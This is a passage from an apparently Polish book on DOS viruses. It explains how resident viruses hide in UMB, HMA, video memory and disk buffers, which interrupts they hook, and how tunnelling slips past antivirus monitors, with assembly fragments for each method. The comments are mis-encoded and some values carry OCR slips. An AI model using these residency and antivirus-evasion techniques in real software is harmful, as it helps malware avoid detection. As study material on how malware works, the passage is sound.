Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu następującej sekwencji w asemblerze:

; Do│╣czanie pamiÛci UMB do │a±cucha UMB i zmiana strategii przydzia│u pamiÛci

MOV AX,5800h ; funkcja - pobierz aktualn╣ strategiÛ

INT 21h ; wywo│aj funkcjÛ DOS

PUSH AX ; zachowaj odczytane strategiÛ

MOV AX,5802h ; weƒ informacjÛ o do│╣czeniu pamiÛci UMB

INT 21h ; wywo│aj funkcjÛ DOS

PUSH AX ; zachowaj informacjÛ na stosie

MOV AX,5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha MCB MOV BX,1 ; podfunkcja - do│╣cz bloki

INT 21h ; wywo│aj funkcjÛ DOS

MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci

MOV BX,82h ; nowa strategia (UMB+ostatni spe│niaj╣cy warunek)

INT 21h ; wywo│aj funkcjÛ DOS

....... ; operacje na blokach MCB (na ca│ym ich │a±cuchu)

POP BX ; weƒ pierwotn╣ informacjÛ o do│╣czeniu pamiÛci UMB

XOR BH,BH ; podfunkcja - do│╣cz bloki lub od│╣cz zale┐nie od BL MOV AX, 5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha mcb INT 21H ; wywo│aj funkcjÛ DOS

POP BX ; przywr¾µ pierwotn╣ strategiÛ

MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci wg BX

INT 21h ; wywo│aj funkcjÛ DOS


Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże wykryć intruza.

Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku UMB za pomocą funkcji XMS ilustruje poniższa sekwencja:

; Wykorzystanie mechanizm¾w XMS do przydzia│u bloku UMB

MOV AX,4300H ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS

INT 2Fh ; wywo│aj przerwanie multipleksowane

CMP AL,80h ; czy zainstalowany mened┐er XMS?

JNE NieMaXMS ; skocz, je£li nie jest zainstalowany

MOV AX,4310H ; funkcja - weƒ adres procedury

INT 2Fh ; wywo│aj przerwanie multipleksowane

MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS

MOV [PROCOFS],BX

MOV AH,10h ; funkcja XMS - przydziel pamiÛµ UMB

MOV DX,rozmiar ; podaj ilo£µ ┐╣danej pamiÛci w paragrafach

CALL [PROCSEG] ; wywo│aj procedurÛ mened┐era XMS

CMP AX,l ; je£li nie ma b│Ûdu, to AX-1

JNE BLAD ; skocz, Je£li AX<>1

; BX = adres przydzielonego bloku



5.4. Instalacja w pamięci HMA

Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres 10FFEF=lMb+64K-16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS, aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system wykorzystuje HMA, zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS).

Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci następującej sekwencji:

; Przydzia│ fragmentu pamiÛci HMA

MOV AX,4A01h ; funkcja - sprawdƒ ilo£µ wolnej HMA

INT 2Fh ; wywo│aj przerwanie multipleksowane BX = ilo£µ wolnej

; pamiÛci HMA w bajtach,

; ES:DI wskazuje na wolny obszar HMA

CMP BX, ROZMIAR ; czy jest odpowiednia ilo£µ pamiÛci

jb NieMaHMA ; je£li mniej, to nie przydzielaj

MOV AX, 4A02h ; funkcja - przydziel pamiÛµ HMA

MOV BX, ROZMIAR ; rozmiar ┐╣danej pamiÛci

INT 2Fh ; wywo│aj przerwanie multipleksowane

; BX = ilo£µ przydzielonej pamiÛci HMA w paragrafach

; ES:DI wskazuje na przydzielony obszar HMA

NieMaHMA:


Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA (ale tylko jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS (najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie:

; Przydziel ca│e pamiÛµ HMA programowi

MOV AX,4300h ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS

INT 2Fh ; wywo│aj przerwanie multipleksowane

CMP AL,80h ; czy zainstalowany mened┐er XMS ?

JNE NieMaXMS ; skocz, je£li nie jest zainstalowany

MOV AX,4310h ; funkcja - weƒ adres procedury

INT 2Fh ; wywo│aj przerwanie multipleksowane

MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS

MOV [PROCOFS],BX

MOV AH,l ; funkcja XMS - przydziel pamiÛµ HMA

MOV DX,ROZMIAR ; podaj ilo£µ ┐╣danej pamiÛci w bajtach

CALL [PROCSEG] ; wywo│aj procedurÛ mened┐era XMS

CMP AX, l ; je£li nie ma b│Ûdu, to AX=1

JNE BLAD ; skocz, je£li AX1



5.5. Nietypowe metody instalacji


5.5.1. Pamięć ekranu

Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są dane dla trybów tekstowych ekranu.


5.5.2. Bufory dyskowe DOS

Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w obszarach roboczych systemu, jest uznawany za jego część oraz, co istotne, nie zmniejsza długości pamięci dostępnej dla programów użytkownika.

Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory 80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu 0000:0000 do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów) w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje więc komórki 0000:0000 -0000:0003, do przerwania 1h komórki 0004:0007 itd. aż do przerwania 0FFh, zajmującego komórki 0000:03FC - 0000:03FF.


ROZDZIAŁ 6


6.1. Najczęściej przejmowane i wykorzystywane przerwania

Wirusy najczęściej wykorzystują i/lub przejmują następujące przerwania:

> 01h - Przerwanie trybu krokowego procesora, wywoływane wewnętrznie, gdy w rejestrze znaczników FLAGS jest ustawiony bit TF. Przerwanie Olh jest używane przez wirusy do poszukiwania w łańcuchu procedur obsługi przerwania jego ostatniego elementu, będącego przeważnie częścią DOS-a lub BIOS-a. W czasie wykonywania wyżej wymienionej operacji możliwe jest także przejęcie obsługi przerwania poprzez włączenie się w istniejący łańcuch obsługi przerwania, dzięki czemu nie trzeba modyfikować tablicy przerwań. Kontrola procedury obsługi tego przerwania pozwala wykryć uruchomiony debugger.

> 03h - Pułapka programowa (ang. breakpoint}, ze względu na 1-bajtową instrukcję (kod 0CCh) stosowana przez debuggery;

powyższa właściwość powoduje, iż instrukcję tę stosują bardzo krótkie wirusy do wywoływania pierwotnej procedury obsługi przejętego przez nie przerwania. Podobnie jak w przypadku przerwania numer 0lh, kontrolując INT 03h można wykryć włączony debugger.

> 08h - Przerwanie sprzętowe IRQ 0 - standardowo zgłaszane 18 razy na sekundę przez układ zegara 8253/8254 (częstotliwość generowania tego przerwania można zmienić programowo). Wewnątrz procedury jego obsługi znajduje się rozkaz wywołania przerwania 1Ch. Najczęściej używane jest ono do realizacji efektów specjalnych, rzadziej do autoweryfikacji wirusa.

> 09h - Przerwanie sprzętowe IRQ l, wywoływane po naciśnięciu lub puszczeniu klawisza na klawiaturze. Odczytany z portu 60h klawisz jest dekodowany przez funkcję (4F/15), a następnie umieszczany w buforze klawiatury, skąd dostępny jest później dla funkcji przerwania 16h. Podobnie Jak IRQ O, przerwanie 09h używane jest zwykle do efektów specjalnych i czasem do autoweryfikacji (na przykład kod wirusa jest sprawdzany przy każdym naciśnięciu lub puszczeniu klawisza).

> 10h - Przerwanie programowe BIOS obsługujące funkcje ekranu;

używane do efektów specjalnych lub w celu informowania innych kopii wirusa o obecności w pamięci.

> 12h - Przerwanie programowe BIOS zwracające po wywołaniu wielkość pamięci operacyjnej podaną w kilobajtach. Zwracana wartość jest odczytywana ze zmiennej systemowej BIOS, znajdującej się pod adresem 0000:0413. Przerwanie to wykorzystują głównie wirusy tablicy partycji i BOOT-sektorów, gdy zmniejszają ilość pamięci dostępnej dla systemu DOS. Aby tego dokonać, nie muszą jednak przejmować przerwania, a tylko zmodyfikować wyżej wymienioną zmienną BIOS. Czasem przerwanie 12h przejmowane jest w celu informowania innych kopii wirusa o obecności w systemie.

> 13h - Przerwanie programowe BIOS odpowiedzialne za obsługę dysków na poziomie sektorów. Obsługując dyskietki wywołuje przerwanie 40h. Jest ono używane najczęściej podczas infekcji

przez wirusy atakujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Jego przejęcie umożliwia zastosowanie techniki stealth dla sektorów, a także informowanie innych kopii wirusa o obecności w systemie.

> 14h - Przerwanie programowe BIOS odpowiedzialne za obsługę łączy szeregowych. Przechwytywane (choć rzadko) dla efektów specjalnych, polegających na przekłamywaniu odczytów7 i zapisów złącza.

> 15h - Przerwanie programowe BIOS odpowiedzialne za dodatkowe funkcje systemowe. Może być przejmowane dla efektów specjalnych, polegających na zmianie obsługi funkcji 4Fh. Powyższa funkcja jest wywoływana przez przerwanie sprzętowe IRQ l (09h) i odpowiada za dekodowanie klawiszy do postaci widzianej później przez przerwanie programowe int 16h. Godna uwagi jest także funkcja (9000/15), wywoływana przez procedurę obsługi przerwania sprzętowego IRQ 14 (76h), której przejęcie umożliwia zastosowanie techniki hardware-level stealth.

> 16h - Przerwanie programowe BIOS odpowiedzialne za obsługę klawiatury. Przejmowane najczęściej dla efektów specjalnych lub w celu informowania innych kopii wirusa o obecności w pamięci.

> 17h - Przerwanie programowe BIOS obsługujące drukarki. Przejmowane (choć rzadko) dla efektów specjalnych, polegających np. na fałszowaniu drukowanych znaków.

> 1Ch - Przerwanie wywoływane przez przerwanie sprzętowe IRQ 0 (08h), najczęściej przejmowane do celów efektów specjalnych (choć w tym wypadku lepiej przejąć obsługę przerwania IRQ 0).

> 21h - Przerwanie programowe DOS odpowiedzialne m.in. za obsługę dysków logicznych na poziomie plików, a także pamięci operacyjnej, czyli newralgicznych części systemu, stąd też jest ono najczęściej przejmowanym przez wirusy przerwaniem. Umożliwia infekcję plików przy ich otwieraniu, zamykaniu, czytaniu, zmianie nazwy, uruchamianiu itd. oraz pozwala na ukrywanie się w systemie. Ze względu na to, iż jest potrzebne wirusom do mnożenia się, nie wykorzystywane przez system numery funkcji często służą innym kopiom wirusa do sprawdzania jego

obecności w systemie (nie musi on już przejmować innego przerwania, gdyż wyżej wymieniona operacja wykonywana jest niejako przy okazji).

> 24h - Przerwanie programowe DOS obsługujące błędy krytyczne systemu. W wypadku wystąpienia błędu wywołuje ono standardowo tzw. dialog ARIF (skrót od ang. Abort Retry Ignore Fail), pozwalający użytkownikowi zadecydować, jaką podjąć operację. Przerwanie to wirusy przejmują na czas infekcji, aby w razie wystąpienia jakiegoś błędu wirus mógł sam zadecydować, jaką akcję chce podjąć. Nowa obsługa przerwania najczęściej zawiera dwie instrukcje nakazujące systemowi DOS sygnalizować błąd programowi wywołującemu (czyli wirusowi). Wyglądają one następująco:

Typowa procedura obs│ugi przerwania int 24h u┐ywana podczas infekcji

MOV AL,3 ; sygnalizuj b│╣d programowi (czyli wirusowi)

IRET ; powr¾t 2 obs│ugi przerwania

> 25h - Przerwanie programowe DOS odpowiedzialne za odczyt sektorów z dysków logicznych, czasem używane do ukrywania się w systemie, ale głównie do łatwego odczytywania BOOT-se-ktorów.

> 26h - Przerwanie programowe DOS odpowiedzialne za zapis sektorów na dyskach logicznych. Najczęściej używane jest do infekcji BOOT-sektorów. Zwykle wykorzystuj ą je konie trojańskie do destrukcji.

> 27h - Przerwanie programowe DOS. Umożliwia zakończenie programu z pozostawieniem kodu w pamięci. Używają go niektóre, zwłaszcza stare, programy TSR, nowsze korzystają z funkcji (31/21). Wykorzystując działanie tego przerwania lub funkcji (31/21) można napisać prostego wirusa rezydentnego.

> 28h - Przerwanie programowe DOS pozwalające na wykonywanie pewnych operacji w tle, co jest wykorzystywane m. in. przez program PRINT. Może być użyteczne do infekowania plików, gdy DOS nie jest zajęty żadnym zadaniem, tak jak robi to np. wirus DOS-IDLE.

> 2Fh - Przerwanie multipleksowane systemu. Ze względu na różnorodność wykonywanych funkcji umożliwia m. in. znajdowanie oryginalnej procedury przerwania 13h (13h/2F), informowanie innych kopii wirusa o obecności w systemie oraz infekcję plików przy ich zamykaniu. To ostatnie możliwe jest dzięki zastosowaniu funkcji (1216/1220/2F), operujących na systemowych tablicach SFT (ang. System File Table), w których zawarte są wszystkie parametry wskazywanego przez uchwyt pliku.

> 30h/31h - W tablicy przerwań, w miejscu, gdzie powinny być adresy obsługi tych przerwań znajduje się rozkaz dalekiego skoku do DOS w postaci 0EA 00 00 SS SS, gdzie OO OO to ofset, a SS SS to segment (po starcie systemu jest to segment kodu systemu DOS, ale może być podmieniony przez program antywirusowy). Adres wskazywany przez rozkaz skoku może być wykorzystywany do wywoływania funkcji DOS według przestarzałej konwencji CP/M, a także do zlokalizowania w segmencie kodu DOS adresu obsługi przerwania 21h, co umożliwia bezpieczne, omijające większość monitorów antywirusowych, wywoływanie funkcji DOS (metodę tę stosuje m.in. wirus DIR-2).

> 40h - Przerwanie programowe BIOS, które obsługuje dyski elastyczne. W większości BIOS-ów adres tego przerwania jest oryginalnym adresem przerwania 13h podczas inicjacji systemu. Podczas startu systemu BIOS przekierowywuje przerwanie 13h na 40h, o ile wykryje dysk twardy. Rzadko przejmowane; umożliwia dostęp do dyskietek z pominięciem przerwania 13h.

> 76h - Przerwanie sprzętowe IRQ 14, generowane przez sterownik dysku twardego przy wszelkich operacjach dyskowych. Obsługa przerwania polega na wykonaniu odczytu z portu 1F7h (rejestr stanu IDE) i wywołaniu funkcji (9000/15). Przejęcie jego lub funkcji (9000/15) umożliwia zastosowanie techniki hardware-level stealth do ukrywania się w systemie.

Jak widać, jest to znakomita większość wszystkich wykorzystywanych przez programy przerwań. Czasem, w celu zminimalizowania rozmiarów, wirus przejmuje dodatkowo jakieś nie używane przez system przerwanie (najczęściej powyżej numeru 60h), aby przy jego pomocy wywoływać pierwotny program obsługi jakiegoś przejętego przez siebie przerwania. Korzysta z tego, że maszynowy rozkaz wy-

wołania przerwania (INT ??) zawiera tylko 2 bajty (o kodach OCDh/??, gdzie ?? to numer przerwania), gdy tymczasem rozkaz wywołania pierwotnego programu obsługi za pomocą rozkazu wywołania procedury zajmowałby od 3 (wywołanie pośredniej, bliskiej procedury) do 6 bajtów (wywołanie dalekiej, bezpośredniej procedury). Przejęcie jakiegoś przerwania programowego może być także wykorzystywane do sprawdzania, czy wirus został już wcześniej zainstalowany w pamięci, co pozwala mu uniknąć powtórnej, niepotrzebnej instalacji. Sekwencja wykrywająca, czy wirus jest już zainstalowany, ma najczęściej postać:

MOV AX.HASúO ; najczÛ£ciej w AX podaje siÛ jak╣£ nie typow╣ funkcjÛ

INT xx ; xx - numer przerwania (najczÛ£ciej 21h)

CMP REJ,ODPOWIEDÅ ; czy wirus ju┐ zainstalowany (rej - najczÛ£ciej AX)

JE Ju┐Zainstalowany ; skok, gdy zainstalowany wirus zwr¾ci│ odpowiedƒ

........... ; zainstaluj siÛ

Ju┐Zainstalowany: ; powr¾µ do nosiciela


Wiedza o najczęściej przejmowanych przerwaniach pozwala często na ręczne przejście przez łańcuch obsługi przerwania przy użyciu de-buggera i sprawdzenie po drodze, czy nie ma gdzieś kodu budzącego podejrzenia, prawdopodobnie należącego do wirusa. Przy takim sprawdzaniu należy pamiętać o kilku niebezpieczeństwach związanych z używaniem debuggera w systemie kontrolowanym przez wirusa. Wirus może kontrolować funkcję (4B01/21), służącą debugge-rom do ładowania programów. Jeżeli jest ona wywoływana, wirus może się deinstalować z pamięci lub podjąć jakieś inne działanie, maskujące lub destrukcyjne. Podobne niebezpieczeństwo grozi ciekawskiemu użytkownikowi ze strony niektórych, najczęściej destrukcyjnych wirusów, kontrolujących stan przerwania INT 01h i INT 03h, a te, jak wiadomo, używane są najczęściej przez programy uruchomieniowe. Zwykle po wykryciu, iż adres procedury obsługi któregoś z tych przerwań nie wskazuje na rozkaz IRET (czyli na pustą procedurę obsługi przerwania), wirus bądź blokuje komputer, bądź brutalnie niszczy dane na dysku twardym. Jeszcze inne niebezpieczeństwo

może grozić użytkownikowi ze strony wirusów, które potrafią sprawdzać poprawność swego kodu. Procedura autoweryfikacji może być wywoływana przez każde z niewinnych przerwań programowych, używanych powszechnie w oprogramowaniu (np.: 10h, 16h) lub też może być podczepiona pod któreś z przerwań sprzętowych. W przypadku wykrycia jakichś zmian (np, zły wynik obliczanej na bieżąco sumy korekcyjnej) wirus może natychmiast podjąć niemile dla użytkownika działanie odwetowe.

Na koniec warto jeszcze wspomnieć, iż zamiast przerwań niektóre wirusy rezydentne przejmują obsługę sterowników urządzeń blokowych, zajmujących się operacjami na urządzeniach masowych, takich jak dysk twardy czy dyskietka, w sposób analogiczny do programów umieszczanych w plikach SYS. Pozwala im to monitorować odwołania do dysków logicznych, zainstalowanych w systemie na poziomie pośrednim między systemem DOS i BIOS (jest to potrzebne np. przy infekcji polegającej na podmianie pierwszej JAP pliku). Tak przejęte odwołanie do systemu będzie dość trudne do wykrycia poprzez ręczne analizowanie kodu jakiegoś przerwania krok po kroku.


6.2. Wykorzystanie funkcji DOS

Najprościej przejąć obsługę przerwania używając dwóch przeznaczonych do tego celu funkcji DOS, tzn. (25/35/21) za pomocą poniższej sekwencji w asemblerze:

; Przejmowanie przerwa± za pomoce DOS-a

MOV AL, NUMER ; podaj w AL numer przerwania

MOV AH, 35h ; w AH numer funkcji, weƒ adres starej procedury

; obs│ugi przerwania

INT 21h ; wywo│aj funkcjÛ DOS po wywo│aniu funkcji

MOV [StarySEG],ES ; w ES:BX pobrany adres poprzedniej procedury

MOV [StaryOFS],BX ; obs│ugi, kt¾ry najczÛ£ciej zapamiÛtuje siÛ

MOV AH, 25h ; w AH numer funkcji, ustaw now╣ procedurÛ obs│ugi

; przerwania

MOV AL,NUMER ; w AL numer przerwania

MOV DS, SEG Nowa ; DS:DX zawiera adres do nowej procedury

MOV DX, OFFSET Nowa ; obs│ugi przerwania

INT 21h ; wywo│aj funkcjÛ DOS


Powyższy sposób przejmowania przerwań, zalecany przez twórców systemu DOS, ze względu na możliwość monitorowania funkcji (25/35/21) przez program antywirusowy, stosują najczęściej prymitywne wirusy. Bardziej wyrafinowane, używają metod trochę innych, omówionych poniżej.


6.3. Bezpośrednie zmiany w tablicy wektorów przerwań

Bezpieczniejszym (ze względu na programy antywirusowe) sposobem na przejęcie przerwania jest bezpośrednia manipulacja w tablicy wektorów przerwań, przy użyciu poniższej sekwencji w asemblerze, wykonującej w przybliżeniu to samo, co sekwencja z poprzedniego punktu:

: Przejmowanie przerwa± bezpo£rednio w tablicy przerwa±

MOV BL, NUMER ; w BL numer zmienianego przerwania

XOR BH,BH ; BX=BL

SHL BX,l ; pomn¾┐ je przez 4 (2 razy przesu± w lewo)

SHL BX,l ; jeszcze raz przesu± w lewo

XOR AX,AX ; zeruj rejestr AX

MOV DS,AX ; i z jego pomoc╣ zeruj rejestr segmentu DS

; DS:BX wskazuje na pozycjÛ w tablicy przerwa±,

; gdzie zapisany jest adres obs│ugi przerwania

LDS DX,DS:[BX] ; pobierz segment i offset przerwania (do

; zapamiÛtania)

MOV [StarySEG],DS ; zachowaj segment

MOV [StaryOFS],DX ; zachowaj offset

MOV DS,AX ; ponownie DS=0

CLI ; bezpiecznie zmieniaµ adres obs│ugi przerwania

; przy wy│╣czonych przerwaniach

MOV DS:[BXJ,OFFSET NOWA ; bezpo£rednie warto£ci wskazujÛ

; na adres nowej

MOV DS:[BX+2], SEG NOWE ; procedury obs│ugi przerwania

STI ; teraz mo┐na ju┐ w│╣czyµ przerwania


Oczywiście, w powyższej sekwencji można pominąć rejestr BX i podać offset w postaci absolutnej (np, jako 21h*4), jednak użycie rejestru umożliwia przejmowanie więcej niż jednego przerwania za pomocą tej samej procedury (należy zmieniać tylko wartość BL).


6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie czystych wejść do systemu (ang. tunnelling)

Dowolna modyfikacja w tablicy przerwań jest łatwa do wykrycia przez najprymitywniejszy nawet program antywirusowy, stąd też twórcy wirusów poszukiwali innej metody przejmowania przerwań, dzięki której nie trzeba modyfikować tablicy przerwań. Opracowano szereg metod polegających na włączaniu się do istniejącego łańcucha procedur obsługi przerwania, zwanych ogólnie tunelingiem.

Zainstalowany rezydentnie w pamięci wirus musi mieć możliwość wywoływania pierwotnej procedury przejętego przez siebie przerwania (np. podczas infekcji potrzebne są funkcje systemu obsługujące działania na plikach). Wywoływanie aktualnej (tzn. wskazywanej przez tablicę przerwań) procedury obsługującej dane przerwanie lub nawet tej, która została zapamiętana podczas instalacji wirusa w pamięci, grozi szybkim wykryciem przez monitor antywirusowy Najlepiej, gdy wywoływana przez wirusa procedura jest ostatnim elementem w łańcuchu procedur obsługi przerwania, czyli jest to po prostu oryginalna procedura zawarta w BIOS-ie lub DOS-ie.


6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21h i 2Fh)

Ta metoda tunelingu jest możliwa tylko w wersjach DOS powyżej 5.00. Służy ona do przechwytywania obsługi przerwania 21h i ewentualnie 2Fh (przy okazji znajdowany jest oryginalny adres procedury obsługi tego przerwania, ulokowanej w kodzie systemu DOS). Wykorzystuje ona fakt, iż system DOS posiada w swym pierwszym bloku MCB (oznaczonym jako systemowy) standardową sekwencję kodu (taką samą dla obu przerwań 21h i 2Fh), która została przedstawiona poniżej.

Sekwencja kodu występująca w DOS od 5.0 wzwyż

DOS używa HMA

DOS nie używa HMA

Adres

Kod

Znaczenie

Kod

Znaczenie

SEG:OFS

90 90

NOP NOP

EB 03

JMP $+3

SEG:OFS+2

E8 xxxx

CALL [IP+xxxx]

E8 xxxx

CALL [IP+xxxx]

SEG:OFS+5

2E FF 2E yyyy

JMP FAR CS:[yyyy]

2E FF 2E

JMP FAR CS:[yyyy]


Dla przerwania 21h powyższa sekwencja kodu występuje pod adresem SEG:OFS, gdzie OFS jest równy 109Eh (w wersji DOS od 5.00 do 6,22) lub 0FB2h w wersjach powyżej 6.22 (np. DOS 7.0, występujący z systemem Windows 95).

W przypadku przerwania 2Fh OFS jest równy: 10C6h (dla DOS 5.00 - 6.22) i 0FDAh (dla wersji 7.00).

Wartość SEG jest wartością zwracaną przez funkcję 52h w rejestrze ES. Na podstawie powyższych danych łatwo odczytać adres pierwotnego adresu procedury int 21h, korzystając z następującej sekwencji:

MOV AH,30H ; funkcja - weƒ wersjÛ systemu

INT 21h ; wywo│aj funkcjÛ

XCHG AL,AH ; zabieg kosmetyczny - aby p¾ƒniejsze

; por¾wnanie by│o bardziej przejrzyste

MOV BX,109EH ; offset dla wersji 5.00 - 6.22

CMP AX,0500h ; czy wersja

JB NIEDZIAúA ; je£li tak, to tunneling nie dzia│a

CMP AX,0622h ; czy wersja wiÛksza od 6.22 ?

JB Wer5_6_22

MOV BX,OFB2h ; nowsze wersje DOS - inny offset

Wer5_6_22:

PUSH BX ; zachowaj offset na stosie

MOV AH,52h ; funkcja - podaj adres do LL

INT 21h ; wywo│aj funkcjÛ

POP BX ; teraz ES:BX wskazuje na sekwencjÛ z tabeli

CMP WORD PTR ES:[BX],9090h; czy jedna z sekwencji ?

JE JEST ; jest czÛ£µ sekwencji

CMP WORD PTR ES:[BX],03EBh ; czy druga z sekwencji ?

JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a

JEST:

CMP BYTE PTR ES:[BX+2],OE8h; czy druga czÛ£µ sekwencji ?

JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a

CMP WORD PTR ES:[BX+5],0FF2Eh ; czy trzecia czÛ£µ sekwencji ?

JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a

CMP BYTE PTR ES:[BX+7],02Eh ; czy czwarta czÛ£µ sekwencji ?

JNE NIEDZIAúA ; nie ma sekwencji - tunelling nie dzia│a

; znaleziona pe│na sekwencja

MOV BX,WORD PTR ES:[BX+8]

LES BX,DWORD PTR ES:[BX] ; ES:BX wskazuje na oryginalny adres int 21h

NIEDZIALA:


Dla przerwania 2Fh sekwencja będzia wyglądała bardzo podobnie, z jedyną zmianą w programie wartości 0FS z 109Eh na 10C6h i 0FB2h na 0FDAh.


6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)

Do znalezienia oryginalnych wejść do procedur obsługi przerwań można wykorzystać tryb krokowy procesora. Po zainstalowaniu odpowiedniego monitora pod przerwaniem krokowym wykonuje się jakąś testową funkcję, której wynik jest już wcześniej znany (np. przez uprzednie wywołanie tej funkcji bez monitora przerwania krokowego). Na bazie tego możemy stwierdzić (będąc w procedurze obsługi przerwania krokowego), czy znajdujemy się w poszukiwanym, oryginalnym kodzie przerwania, poprzez testowanie zawartości odpowiedniego rejestru lub ich grupy.

Dla przerwania int 21h wygodnie śledzić np. funkcję 62h (weź aktualny adres PSP) lub funkcję 30h (weź numer wersji DOS), dla przerwania int 13h taką funkcją może być 08h (weź informację o parametrach dysku).


6.4.3. Tuneling rekursywny (ang. recursive tunneling)

Ze względu na możliwość blokowania trybu krokowego procesora do znalezienia oryginalnego adresu przerwania 21h można zastosować tzw. tuneling rekursywny. Polega on na tym, iż w otoczeniu aktualnej procedury obsługi przerwania (wskazywanej przez tablicę przerwań), poszukuje się kodów wywołań dalekich procedur lub skoków, dzięki którym zwykle przekazywane jest sterowanie do kolejnego elementu łańcucha obsługi przerwania. Najczęściej łańcuch taki składa się z następujących sekwencji:

Element_l

......... ; pierwszy element │a±cucha

Skok_do_Elementu_2

......... ; pamiÛµ wykorzystywana przez inne programy

Element_2 ......... ; drugi element │a±cucha

Skok_do_Elementu_3

......... ; pamiÛµ wykorzystywana przez inne programy

Element_N ......... ; ostatni element │a±cucha - poszukiwana czÛ£µ systemu Powr¾t_Z_Elementu_N ; powr¾t poprzez rozkaz IRET lub

; RETF 2 do elementu poprzedniego lub bezpo£rednio

; do wywo│uj╣cego programu


Na przykład działanie procedury szukającej adresu przerwania 21h można sprowadzić do następującej sekwencji:

mov ah,52h ; pobierz do ES:BX adres struktury

int 21h ; LL (lista list)

mov bx,es

xor ax,ax ; ustaw adres DS:SI na adres

mov ds,ax ; przerwania 21h wskazywanego

mov si,21h*4 ; przez tablice przerwa±

xchg ax,di ; DI=licznik sprawdzanych bajtow=0

Adres 32:

Ids si,ds:[si] ; pobierz adres

or bx,bx ; czy koniec szukania ?

jz WSegmencieDOS ; TAK - powr¾t DS:SI-adres

mov ax,ds ; \ czy jest to segment DOS ?

cmp ax, bx ; /

jne NastepnyBajt ; TAK - znaleziony adres

xor bx,bx ; BX=0 oznacza koniec szukania

NastepnyBajt:

lodsw ; weƒ 2 bajty bÛd╣ce czÛ£ci╣ aktualnej procedury dec si ; sprawdzamy co bajt

cmp al,9Ah ; czy jest to CALL FAR PTR ?

je Adres32 ; TAK - weƒ kolejny adres

cmp al,0EAh ; czy jest to JMP FAR PTR ?

je Adres32 ; TAK - weƒ kolejny adres

cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?

jne NieJMP_DWORD

cmp byte ptr [si+l],al ; czy dalsz╣ czÛ£µ rozkazu JMP FAR CS:DWORD ?

jne NieJMP_DWORD

mov si,ds:[si+2] ; pobierz offset do danych dla skoku jmp short Adres32 ; TAK - weƒ kolejny adres

NieJMP_DWORD:

inc DI ; licznik sprawdzanych bajt¾w

and DI,4095 ; je┐eli sprawdzono ju┐ 4095 bajt¾w,

je Recursive21_Exit ; to ko±cz, bo tuneling nie dzia│a

jmp NastepnyBajt ; weƒ kolejny bajt

WSegmencieDOS:

............ ; adres zosta│ znaleziony (jest w DS:SI)

RecursNieDzia│a:

............ ; adres nie zosta│ znaleziony



6.4.4. Trik2F/13

